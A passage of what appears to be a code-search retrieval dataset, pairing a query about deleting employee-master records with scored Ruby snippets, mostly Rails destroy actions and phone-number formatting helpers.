"text": "def slimpay_formated_phone\n return if phone.blank?\n return phone if phone[0] == '+'\n return \"+#{phone}\" if phone[0] == '3' && phone[1] == '3'\n \"+33#{phone[1..-1]}\"\n end",
"title": ""
},
{
"docid": "19916988c97fab2a55bcf681c3e87964",
"score": "0.6267514",
"text": "def standardized_sms_phone_number\n PhoneParser.normalize(sms_phone_number)\n end",
"title": ""
},
{
"docid": "4fe4a97c23f15ce3fcda8b6571e17bb9",
"score": "0.62562466",
"text": "def clean_phone_number\n number = self.phone\n\n if number\n unless number[0..1] == \"+1\"\n number.gsub!(/[^0-9]/, '')\n self.phone = \"+1#{number}\"\n end\n end\n end",
"title": ""
},
{
"docid": "5210f56d8efa41fa44c379ed30c6354d",
"score": "0.6254263",
"text": "def convert_to_phone(value)\n value&.insert(3, '-')&.insert(-5, '-')\n end",
"title": ""
},
{
"docid": "49b89f55a2990703f6b12e809fed5dc0",
"score": "0.6251044",
"text": "def conform_phone(n)\n n = n.upcase.tr('ABCDEFGHIJKLMNOPQRSTUVWXYZ','22233344455566677778889999')\n n = n.gsub(/[^0-9]/ ,\"\")\n n[0] = \"\" if n[0] == '1'\n if n.length != 10\n return \"error- not a 10 digit phone number\"\n else\n return n.insert(3,'-').insert(-5,'-')\n end\n end",
"title": ""
},
{
"docid": "19443ffc7fdc714065e1cbf4d59973b0",
"score": "0.62444174",
"text": "def random_mobile_number\n prefixes = ['021 ', '027 ']\n return prefixes[rand(1)]+some_random_numbers(6+rand(2))\n end",
"title": ""
},
{
"docid": "9cd18cb8af8357dc98aa3a705c621750",
"score": "0.62357116",
"text": "def cellphone\n @cellphone = self[:cellphone] if @cellphone.nil?\n m = /^\\+\\d(\\d{3})(\\d{3})(\\d{4})$/.match(@cellphone)\n m.nil? ? @cellphone:\"(#{m[1]}) #{m[2]}-#{m[3]}\"\n end",
"title": ""
},
{
"docid": "9ad4ab2a934f5be67406f6cf47424aaf",
"score": "0.62292457",
"text": "def normalize(phone_str)\n\t\t\tphone_str.gsub(/[^\\d\\+]/, \"\")\n\t\tend",
"title": ""
},
{
"docid": "cd46ced757c63d61624fd581a3977d6d",
"score": "0.6223444",
"text": "def normalize_phone_number\n if phone\n self.phone = phone.delete(\"(),-.\")\n self.phone= phone[1..phone.length-1] if phone.start_with?(\"1\")\n end\nend",
"title": ""
},
{
"docid": "4cada8811c290b1eb36225af64e690b3",
"score": "0.6220664",
"text": "def international_number\n @phone.international\n end",
"title": ""
},
{
"docid": "6e491253e96e2ccb40981953dcffa953",
"score": "0.621711",
"text": "def normalize_phone_number\n # stretch\n if phone.present?\n phone.gsub!(/^1/, \"\")\n phone.gsub!(/[()-.]/,\"\")\n end\n end",
"title": ""
},
{
"docid": "c76d58f1aea942c5b3d2d7b6f6278af5",
"score": "0.6212059",
"text": "def get_phone_number\n \"Phone: #{phone_numbers.first}\"\n end",
"title": ""
},
{
"docid": "6f156a4608e442c086976a6de7f7d5c4",
"score": "0.6198498",
"text": "def normalize_phone_number\n # stretch\n if phone.present?\n phone.gsub!(/^1|\\(|\\)|\\.|-|,/,\"\")\n end\n end",
"title": ""
},
{
"docid": "f2607da84eb3fa73d7b2b47dd03de5fb",
"score": "0.619611",
"text": "def phone\n @company_info.css(\"td.name div.phone\").text.strip.delete(\".\")\n end",
"title": ""
},
{
"docid": "a9013686dca70b7954c44403727b821a",
"score": "0.61862546",
"text": "def to_phone_number(number)\n string, area, trunk, rest, a, b, ext = *number.match(PHONE_MATCHER)\n number = \"(#{area}) #{trunk}-#{rest}\"\n number += \" x#{ext}\" unless ext.blank?\n number\n end",
"title": ""
},
{
"docid": "3a92cc28858e282213d548e246462675",
"score": "0.6181991",
"text": "def normalize_phone_number\n if phone.present?\n phone.gsub!(/^1/, \"\")\n phone.gsub!(/[()-.]/,\"\")\n \tend\n end",
"title": ""
},
{
"docid": "ed0254a5b765f60decf98a552f449686",
"score": "0.616168",
"text": "def conform_phone(n)\n n = n.upcase.tr('ABCDEFGHIJKLMNOPQRSTUVWXYZ','22233344455566677778889999')\n n = n.gsub(/[^0-9]/ ,\"\")\n n[0] = \"\" if n[0] == '1'\n if n.length != 10\n return ERRORMESSAGE\n else\n return n\n end\n end",
"title": ""
},
{
"docid": "194a492e6718b08f02d3d1dcc4941ac9",
"score": "0.61571866",
"text": "def correct_typos_in_mobile_number\n @mobile_number.strip!\n @mobile_number.gsub!(/[ßo]/, '0')\n @mobile_number.gsub!(/[\\(\\)\\.]/, '')\n @mobile_number.gsub!(/\\s(\\d{2})\\s/, '\\1')\n @mobile_number.gsub!(/[a-zA-Z\\-]/, '')\n end",
"title": ""
},
{
"docid": "0a4950a43a11eb24266d4570042bed2c",
"score": "0.6153233",
"text": "def strip_phone(phone_number)\n phone_number.gsub(/\\D/, '')\n end",
"title": ""
},
{
"docid": "37169cddb54a0ffe6057b4fda9fef8ea",
"score": "0.6151783",
"text": "def clean_phone(phone)\n phone.gsub(/^1-/, \"\")\n end",
"title": ""
},
{
"docid": "36118c986120f95062b92ef64e225efa",
"score": "0.6134819",
"text": "def phone_number\n self.dig_for_string(\"officeSummary\", \"phoneNumber\")\n end",
"title": ""
},
{
"docid": "11e1fd9589b738f452a3564cdd5ce03f",
"score": "0.6133554",
"text": "def phone\n @json['user']['content']['phonenumber'] || ''\n end",
"title": ""
},
{
"docid": "11e1fd9589b738f452a3564cdd5ce03f",
"score": "0.6133554",
"text": "def phone\n @json['user']['content']['phonenumber'] || ''\n end",
"title": ""
}
] |
f6852097a484cc4b1b18e85cfe4cefe8 | DELETE /employee_masters/1 DELETE /employee_masters/1.xml | [
{
"docid": "9a76794845f299bae0664667f2051f43",
"score": "0.72051847",
"text": "def destroy\n @employee_master = EmployeeMaster.find(params[:id])\n @employee_master.destroy\n\n respond_to do |format|\n format.html { redirect_to(employee_masters_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
}
] | [
{
"docid": "197fd1ce109dae083bafa8b98e3a762e",
"score": "0.6738272",
"text": "def destroy\n @occupationmaster = Occupationmaster.find(params[:id])\n @occupationmaster.destroy\n\n respond_to do |format|\n format.html { redirect_to(occupationmasters_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "df26116eb86dbadafed7137f9e3c2f9e",
"score": "0.66601306",
"text": "def delete!\r\n return nil unless exists? \r\n xml = xml_at_top\r\n par = xml.instance_variable_get(:@parent) \r\n par['delete'] = 'delete'\r\n xml_on_delete( xml )\r\n rsp = write_xml_config!( xml.doc.root )\r\n @has[:_exist] = false\r\n true # rsp ... don't return XML, but let's hear from the community...\r\n end",
"title": ""
},
{
"docid": "458240170b948b705c0df34a07b017ed",
"score": "0.66174906",
"text": "def destroy\n @employee_master.destroy\n respond_to do |format|\n format.html { redirect_to employee_masters_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "b08ec4c1501fe3c8442ced9adf673b54",
"score": "0.65670085",
"text": "def destroy\n @employee = Employee.find(params[:id])\n @employee.destroy\n\n respond_to do |format|\n format.html { redirect_to(employees_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "b08ec4c1501fe3c8442ced9adf673b54",
"score": "0.65670085",
"text": "def destroy\n @employee = Employee.find(params[:id])\n @employee.destroy\n\n respond_to do |format|\n format.html { redirect_to(employees_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "b08ec4c1501fe3c8442ced9adf673b54",
"score": "0.65670085",
"text": "def destroy\n @employee = Employee.find(params[:id])\n @employee.destroy\n\n respond_to do |format|\n format.html { redirect_to(employees_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "b08ec4c1501fe3c8442ced9adf673b54",
"score": "0.65670085",
"text": "def destroy\n @employee = Employee.find(params[:id])\n @employee.destroy\n\n respond_to do |format|\n format.html { redirect_to(employees_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "b08ec4c1501fe3c8442ced9adf673b54",
"score": "0.65670085",
"text": "def destroy\n @employee = Employee.find(params[:id])\n @employee.destroy\n\n respond_to do |format|\n format.html { redirect_to(employees_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "6b41c10641ccdc66090507da4ebc79b8",
"score": "0.6555372",
"text": "def destroy\n @master = Master.find(params[:id])\n @master.destroy\n\n respond_to do |format|\n format.html { redirect_to(masters_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "6b41c10641ccdc66090507da4ebc79b8",
"score": "0.6555372",
"text": "def destroy\n @master = Master.find(params[:id])\n @master.destroy\n\n respond_to do |format|\n format.html { redirect_to(masters_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "6b41c10641ccdc66090507da4ebc79b8",
"score": "0.6555372",
"text": "def destroy\n @master = Master.find(params[:id])\n @master.destroy\n\n respond_to do |format|\n format.html { redirect_to(masters_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "34298c08a1503282f7226bf2c35b0eaa",
"score": "0.6554427",
"text": "def destroy\n @consultant_master = ConsultantMaster.find(params[:id])\n @consultant_master.destroy\n\n respond_to do |format|\n format.html { redirect_to(consultant_masters_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "2d1f63dc596da2b16205e6bda44e0597",
"score": "0.65543026",
"text": "def destroy\n @refferal_master = RefferalMaster.find(params[:id])\n @refferal_master.destroy\n\n respond_to do |format|\n format.html { redirect_to(refferal_masters_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "56434a8f767b57bfeda85fc5cd9db8df",
"score": "0.6530269",
"text": "def destroy\n @employee = Employee.find(params[:id])\n @employee.destroy\n\n respond_to do |format|\n format.html { redirect_to employees_url }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "e5399a2cb826177e41dc3b9d16f562e1",
"score": "0.64848226",
"text": "def destroy\n @xpath = Xpath.find(params[:id])\n @xpath.destroy\n set_site\n respond_to do |format|\n flash[:notice]=\"Field has been removed.\"\n format.html { redirect_to(@site) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "57e04c12702f9dd62c2010bac728abd9",
"score": "0.64834815",
"text": "def destroy\n @agency_master = AgencyMaster.find(params[:id])\n @agency_master.destroy\n\n respond_to do |format|\n format.html { redirect_to(agency_masters_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "eb38fd7a2f8e7c1b6317cdfe6534f4c3",
"score": "0.64661247",
"text": "def destroy\n @test_master_child = TestMasterChild.find(params[:id])\n @test_master_child.destroy\n\n respond_to do |format|\n format.html { redirect_to(test_master_children_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "35f9e54306db7259681277fcf630188e",
"score": "0.64523286",
"text": "def destroy\n @employee_master.destroy\n respond_to do |format|\n format.html { redirect_to employee_masters_url, notice: 'Employee master was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "e6163e2cbc767787ed36aabab16e0256",
"score": "0.6446537",
"text": "def destroy\n @org_master = OrgMaster.find(params[:id])\n @org_master.destroy\n\n respond_to do |format|\n format.html { redirect_to(org_masters_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "2d880e6fd23c29150652a1faef3ca1cd",
"score": "0.64365524",
"text": "def destroy\n @foodmaster = Foodmaster.find(params[:id])\n @foodmaster.destroy\n\n respond_to do |format|\n format.html { redirect_to(foodmasters_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "0a160154471ea79607c9d5d8cd74197d",
"score": "0.6433559",
"text": "def destroy\n @testmaster = Testmaster.find(params[:id])\n @testmaster.destroy\n\n respond_to do |format|\n format.html { redirect_to(testmasters_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "e98734b64be93a2c51ab295c12d07108",
"score": "0.64129704",
"text": "def destroy\n @emp_master = EmpMaster.find(params[:id])\n @emp_master.destroy\n\n respond_to do |format|\n format.html { redirect_to emp_masters_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "48428d1c8d23132a457a8b1d82417540",
"score": "0.64056915",
"text": "def destroy\n @v1_employee = V1::Employee.find(params[:id])\n @v1_employee.destroy\n\n head :no_content\n end",
"title": ""
},
{
"docid": "9bf20ae0934f7ed1979de53494686772",
"score": "0.63836145",
"text": "def destroy\n @company = Company.find(params[:company_id])\n @employee = @company.employees.find(params[:id])\n @employee.destroy\n\n respond_to do |format|\n format.html { redirect_to(company_employees_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "8e36417662c96c13a32fe55b3cd5c5f3",
"score": "0.63768154",
"text": "def del\n @office1 = Office1.find(params[:id])\n @office1.destroy\n\n respond_to do |format|\n format.html { redirect_to(office1s_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "d50f42b6376af9995616e4b071e04b02",
"score": "0.636111",
"text": "def destroy\n @departmentmaster = Departmentmaster.find(params[:id])\n @departmentmaster.destroy\n\n respond_to do |format|\n format.html { redirect_to(departmentmasters_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "8c1fff3b6a79fc5b8351d52e4b43c3d8",
"score": "0.63610166",
"text": "def destroy\n @l1_node = L1Node.find(params[:id])\n @l1_node.destroy\n\n respond_to do |format|\n format.html { redirect_to(l1_nodes_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "1c8d5aea81801758d763fe4fed2ae976",
"score": "0.63449156",
"text": "def destroy\n @department_master = DepartmentMaster.find(params[:id])\n @department_master.destroy\n\n respond_to do |format|\n format.html { redirect_to(department_masters_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "8811cd1784c383a9ab8b182019512eb6",
"score": "0.6336591",
"text": "def destroy\n @client = Client.find(params[:id])\n define_path\n ServerFileOperation.delete(@client.home_directory,@public_path)\n @client.destroy\n\n respond_to do |format|\n format.html { redirect_to(clients_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "f9642d1591caee60c210156b8dc59170",
"score": "0.63204",
"text": "def destroy\n @inventorylevel1master = Inventorylevel1master.find(params[:id])\n @inventorylevel1master.destroy\n\n respond_to do |format|\n format.html { redirect_to(inventorylevel1masters_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "ce0053c1f0f493227eb05eefb79a9415",
"score": "0.6318721",
"text": "def destroy\n @entree = Entree.find(params[:id])\n @entree.destroy\n\n respond_to do |format|\n format.html { redirect_to(entrees_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "04acfc281fc5ecc754576128cc85391a",
"score": "0.63073516",
"text": "def destroy\n @hospitalmaster = Hospitalmaster.find(params[:id])\n @hospitalmaster.destroy\n\n respond_to do |format|\n format.html { redirect_to(hospitalmasters_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "66ef10217d2e2fae220d9ba9b0d221f1",
"score": "0.6305404",
"text": "def destroy\n @org_master_child_table = OrgMasterChildTable.find(params[:id])\n @org_master_child_table.destroy\n\n respond_to do |format|\n format.html { redirect_to(org_master_child_tables_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "d98bbd29d4a2726f37922f6ea3a74ed8",
"score": "0.63037354",
"text": "def destroy\n @node = Node.find_by_name(params[:id])\n @node.destroy\n\n respond_to do |format|\n format.html { redirect_to(nodes_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "a1cc667ae1606e87437f2c6821fd719e",
"score": "0.62882745",
"text": "def destroy\n employee = Employee.find(params[:id])\n employee.destroy\n head 204\n end",
"title": ""
},
{
"docid": "386bb010028a444ecdae80609e74f790",
"score": "0.62879825",
"text": "def destroy\n @emp = Emp.find(params[:id])\n @emp.destroy\n\n respond_to do |format|\n format.html { redirect_to(emps_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "6d3d5c2903da04e5086694ef9dd1249d",
"score": "0.6287729",
"text": "def delete\n api_xml(category(target),:delete) if options.data or options.category\n if options.itemdef\n parse_itemdef\n uid=find_definition_uid_by_name(itemdef.name)\n response=admin_xml(\"/itemDefinitions/#{uid}\")\n verbose \"About to delete: #{REXML::XPath.first(response,'//Name/text()').value} item definition.\\n\"\n admin_xml(\"/itemDefinitions/#{uid}\",\n :delete) if itemdef.name\n end\n end",
"title": ""
},
{
"docid": "b9d1a5dc5c944dfdef016c342183e812",
"score": "0.6282535",
"text": "def destroy\n @scrap_xml = ScrapXml.find(params[:id])\n @scrap_xml.destroy\n\n respond_to do |format|\n format.html { redirect_to(scrap_xmls_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "7bc9931d215058b4cfa5bea549a99630",
"score": "0.6275975",
"text": "def destroy\n @employee.destroy\n respond_to do |format|\n format.html { redirect_to employees_path }\n format.xml { head :ok}\n format.json { head :ok}\n end\n end",
"title": ""
},
{
"docid": "fe5691fbe5d6a68e29fd2cb4727512fa",
"score": "0.6253687",
"text": "def delete!\n CouchRest.delete @root\n end",
"title": ""
},
{
"docid": "fe5691fbe5d6a68e29fd2cb4727512fa",
"score": "0.6253687",
"text": "def delete!\n CouchRest.delete @root\n end",
"title": ""
},
{
"docid": "e78da4889ce3864ebeff890551769021",
"score": "0.62481767",
"text": "def destroy\n @payroll_employeemaster = PayrollEmployeemaster.find(params[:id])\n @payroll_employeemaster.destroy\n\n respond_to do |format|\n format.html { redirect_to(payroll_employeemasters_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "fdec1b8bfaf1630fc395218f627d3cee",
"score": "0.62451965",
"text": "def destroy\n @employee_position = EmployeePosition.find(params[:id])\n @employee_position.destroy\n\n respond_to do |format|\n format.html { redirect_to(employee_positions_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "153e58976fdbfa7383392757fbb2a4ab",
"score": "0.6243943",
"text": "def destroy\n name, type = resource[:name].split('/')\n nameserver = resource[:nameserver]\n nsupdate(\"server #{nameserver}\n update delete #{name}. #{type}\n send\")\n end",
"title": ""
},
{
"docid": "b965aa2e76649b84623ed925811f4794",
"score": "0.6232565",
"text": "def delete(_path)\n end",
"title": ""
},
{
"docid": "4100b1ba27a9a751bb11d54b45e1aeb1",
"score": "0.62318027",
"text": "def delete(path);end",
"title": ""
},
{
"docid": "4100b1ba27a9a751bb11d54b45e1aeb1",
"score": "0.62318027",
"text": "def delete(path);end",
"title": ""
},
{
"docid": "663d8bdf0ba91aa652ede9f6f1a2ad7a",
"score": "0.622404",
"text": "def destroy\n # make an xml delete message that Solr will be happy with\n delete_message = ''\n builder = Builder::XmlMarkup.new(:target => delete_message, :indent => 2)\n\n builder.delete do |delete|\n delete.id(_id)\n end\n\n self.class.execute_write(delete_message)\n end",
"title": ""
},
{
"docid": "48079a2a0e81f5b230cbcab10eeec67e",
"score": "0.6223072",
"text": "def del\n @status1 = Status1.find(params[:id])\n @status1.destroy\n\n respond_to do |format|\n format.html { redirect_to(status1s_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "4f08f2ec294215cb59ebbf55fbb377f5",
"score": "0.62205917",
"text": "def destroy \n @qx.destroy\n respond_to do |format|\n format.html { redirect_to(qxes_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "32dfe59d7e3e98ba49ea09536a7f0dbf",
"score": "0.62067276",
"text": "def destroy\n @itemmaster = Itemmaster.find(params[:id])\n @itemmaster.destroy\n\n respond_to do |format|\n format.html { redirect_to(itemmasters_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "32dfe59d7e3e98ba49ea09536a7f0dbf",
"score": "0.62067276",
"text": "def destroy\n @itemmaster = Itemmaster.find(params[:id])\n @itemmaster.destroy\n\n respond_to do |format|\n format.html { redirect_to(itemmasters_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "36887f2b24d31f98fbb51687409e73f6",
"score": "0.6202161",
"text": "def delete; end",
"title": ""
},
{
"docid": "36887f2b24d31f98fbb51687409e73f6",
"score": "0.6202161",
"text": "def delete; end",
"title": ""
},
{
"docid": "36887f2b24d31f98fbb51687409e73f6",
"score": "0.6202161",
"text": "def delete; end",
"title": ""
},
{
"docid": "36887f2b24d31f98fbb51687409e73f6",
"score": "0.6202161",
"text": "def delete; end",
"title": ""
},
{
"docid": "36887f2b24d31f98fbb51687409e73f6",
"score": "0.6202161",
"text": "def delete; end",
"title": ""
},
{
"docid": "36887f2b24d31f98fbb51687409e73f6",
"score": "0.6202161",
"text": "def delete; end",
"title": ""
},
{
"docid": "36887f2b24d31f98fbb51687409e73f6",
"score": "0.6202161",
"text": "def delete; end",
"title": ""
},
{
"docid": "a84cd94a29f6bdf89b1533a461c2ce58",
"score": "0.6201754",
"text": "def destroy\n @inventorylevel2master = Inventorylevel2master.find(params[:id])\n @inventorylevel2master.destroy\n\n respond_to do |format|\n format.html { redirect_to(inventorylevel2masters_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "df38d3b15c13117cde707b99157b2c0b",
"score": "0.61949074",
"text": "def destroy\n @city_master = CityMaster.find(params[:id])\n @city_master.destroy\n\n respond_to do |format|\n format.html { redirect_to(city_masters_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "261e56526e230c4f75974c71e769c1de",
"score": "0.61942184",
"text": "def destroy\n @horasexa = Horasexa.find(params[:id])\n @horasexa.destroy\n\n respond_to do |format|\n format.html { redirect_to(horasexas_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "51e124cc65aee5ae7a48babea43389aa",
"score": "0.6191479",
"text": "def delete_document(xml_document)\n ead_id = xml_document.xpath(\"//eadid\").first.text.strip.tr(\".\", \"-\")\n blacklight_connection.delete_by_id(ead_id)\n end",
"title": ""
},
{
"docid": "1cb03a27c205d80666bf601011aae6f5",
"score": "0.619017",
"text": "def destroy\n @employee_retention_concept = @employee.employee_retention_concept.find(params[:id])\n @employee_retention_concept.destroy\n\n respond_to do |format|\n format.html { redirect_to(employee_retention_concepts_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "c645177375943d8bb387ea3cac681ac3",
"score": "0.61865693",
"text": "def destroy\n @elinea = Elinea.find(params[:id])\n @elinea.destroy\n\n respond_to do |format|\n format.html { redirect_to(elineas_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "31e78b2068f4e6447ddad60ebbc2512c",
"score": "0.617924",
"text": "def destroy\n @leaveentrymaster = Leaveentrymaster.find(params[:id])\n @leaveentrymaster.destroy\n\n respond_to do |format|\n format.html { redirect_to(leaveentrymasters_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "40ff8dc46b5299bbbed8b40310aadfc3",
"score": "0.616444",
"text": "def destroy\n @jido_edu_rel = JidoEduRel.find(params[:id])\n @jido_edu_rel.destroy\n\n respond_to do |format|\n format.html { redirect_to(jido_edu_rels_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "c5629462361abbf56f8cf4bd299c475c",
"score": "0.6159658",
"text": "def destroy\n @ecndocument = Ecndocument.find(params[:id])\n @ecndocument.destroy\n\n respond_to do |format|\n format.html { redirect_to(ecndocuments_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "fb60c4b45ddcaa5258c90f999c1276ea",
"score": "0.615439",
"text": "def destroy\n @xlink = Xlink.find(params[:id])\n @xlink.destroy\n\n respond_to do |format|\n format.html { redirect_to(xlinks_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "4111a22d07c48eeea99ff233f02b7a90",
"score": "0.6154253",
"text": "def destroy\n @exame = Exame.find(params[:id])\n @exame.destroy\n\n respond_to do |format|\n format.html { redirect_to(exames_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "63d9604ce7b7ff0cad0f2be8341a4d13",
"score": "0.61514115",
"text": "def destroy\n @efficacy_master.destroy\n respond_to do |format|\n format.html { redirect_to efficacy_masters_url, notice: DELETE_NOTICE }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "31bced11c5438baa859e5309b34503a7",
"score": "0.6145547",
"text": "def destroy\n @node.destroy\n\n respond_to do |format|\n format.html { redirect_to(structure_nodes_url(@node.structure)) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "4c8ba3339523269b9ccefa45f64b3a69",
"score": "0.61416805",
"text": "def destroy\n @child_dupa = ChildDupa.find(params[:id])\n @child_dupa.destroy\n\n respond_to do |format|\n format.html { redirect_to(child_dupas_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "d2041d3199819fb840988b57752af7dc",
"score": "0.61414725",
"text": "def destroy\n @loginmaster = Loginmaster.find(params[:id])\n @loginmaster.destroy\n\n respond_to do |format|\n format.html { redirect_to(loginmasters_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "1fb51ee3ea2402325662334d7000a01f",
"score": "0.613484",
"text": "def destroy\n @employee.destroy\n end",
"title": ""
},
{
"docid": "1fb51ee3ea2402325662334d7000a01f",
"score": "0.613484",
"text": "def destroy\n @employee.destroy\n end",
"title": ""
},
{
"docid": "e119e8dd281cfd5ee7e6cd5fdb5a8628",
"score": "0.61282605",
"text": "def destroy \n @email_record.destroy\n\n respond_to do |format|\n format.html { redirect_to(email_records_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "32b05fb180acaa97993f19409d377608",
"score": "0.61237276",
"text": "def destroy\n @statemaster = Statemaster.find(params[:id])\n @statemaster.destroy\n\n respond_to do |format|\n format.html { redirect_to(statemasters_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "08e7f5a40ad5b4bf3f4ce297537a2994",
"score": "0.61208093",
"text": "def delete(x) \r\n\r\n if x.to_i.to_s == x.to_s and x[/[0-9]/] then\r\n @doc.root.delete(\"records/*[@id='#{x}']\")\r\n else\r\n @doc.delete x\r\n end\r\n @dirty_flag = true\r\n self\r\n end",
"title": ""
},
{
"docid": "aa8aed0256df0b3c7d25b840f4205138",
"score": "0.6120287",
"text": "def delete(file, eadid)\n if file.blank?\n raise ArgumentError.new(\"Expecting #{file} to be a file or directory\")\n end\n if /\\.xml$/.match(file).present?\n # If eadid was passed in, use it to delete\n # it not, make a guess based on filename\n id = (eadid || File.basename(file).split(\"\\.\")[0])\n begin\n indexer.delete(id)\n record_success(\"Deleted #{file} with id #{id}.\", { action: 'delete' })\n rescue StandardError => e\n record_failure(\"Failed to delete #{file} with id #{id}: #{e}\", { action: 'delete', ead: file })\n raise e\n end\n else\n record_failure(\"Failed to delete #{file}: not an XML file.\", { action: 'delete', ead: file })\n end\n end",
"title": ""
},
{
"docid": "5a10d3d0983a0a37be70150a7a007d67",
"score": "0.6117611",
"text": "def destroy\n @employee = Employee.find(params[:id])\n @employee.destroy\n get_data\n end",
"title": ""
},
{
"docid": "daa270078ec9cb4cb6f44d5e1374e4d3",
"score": "0.61158454",
"text": "def destroy\n results = []\n\n node = client(resource).node(resource[:config_node_path], resource[:config_node_name])\n results.push(call_with_readiness_check(node, 'delete', [], resource))\n\n saml = client(resource).saml\n results.push(call_with_readiness_check(saml, 'delete', [], resource))\n\n handle_multi(results)\n end",
"title": ""
},
{
"docid": "1143888b2d21a1296507913e0d044d3f",
"score": "0.61116797",
"text": "def destroy\n @bed_master = BedMaster.find(params[:id])\n @bed_master.destroy\n\n respond_to do |format|\n format.html { redirect_to(bed_masters_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "4d5984a451d5f2fd148de7da6b5ffd86",
"score": "0.61108375",
"text": "def destroy\n @salary_structure = SalaryStructure.find(params[:id])\n @salary_structure.destroy\n @salary_structure.register_user_action(request.remote_ip, \"deleted\", @current_user.branch_id)\n respond_to do |format|\n format.html { redirect_to(users_path) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "ac69d860c409dafcee085867533bee4b",
"score": "0.6106246",
"text": "def destroy\n @ece = Ece.find(params[:id])\n @ece.destroy\n\n respond_to do |format|\n format.html { redirect_to(eces_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "a91dd1eabd5abf8915fa1f95e3f171c4",
"score": "0.61055046",
"text": "def destroy\n @employee_expense = EmployeeExpense.find(params[:id])\n @employee_expense.destroy\n\n respond_to do |format|\n format.html { redirect_to(employee_expenses_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "4fa6127ef10e13e2704d0b3d2c81d403",
"score": "0.6102212",
"text": "def destroy\n @primary_expr = PrimaryExpr.find(params[:id])\n @primary_expr.destroy\n\n respond_to do |format|\n format.html { redirect_to(primary_exprs_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "c0ae9bc7d596e07a8e7dc93ae2adba82",
"score": "0.6095983",
"text": "def destroy\n @employee = Employee.find(params[:id])\n @employee.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_employees_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "15acbf2772c6d64de478836058f2298c",
"score": "0.609387",
"text": "def destroy\n @incidente = Incidente.find(params[:id])\n @incidente.destroy\n\n respond_to do |format|\n format.html { redirect_to(incidentes_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "7eed82120499c642e973fe466234b8b3",
"score": "0.6091626",
"text": "def destroy\n @employer = Employer.find(params[:id])\n @employer.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_employers_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "9aa78dc1fd4c41f08c138fe665e4c7db",
"score": "0.60879326",
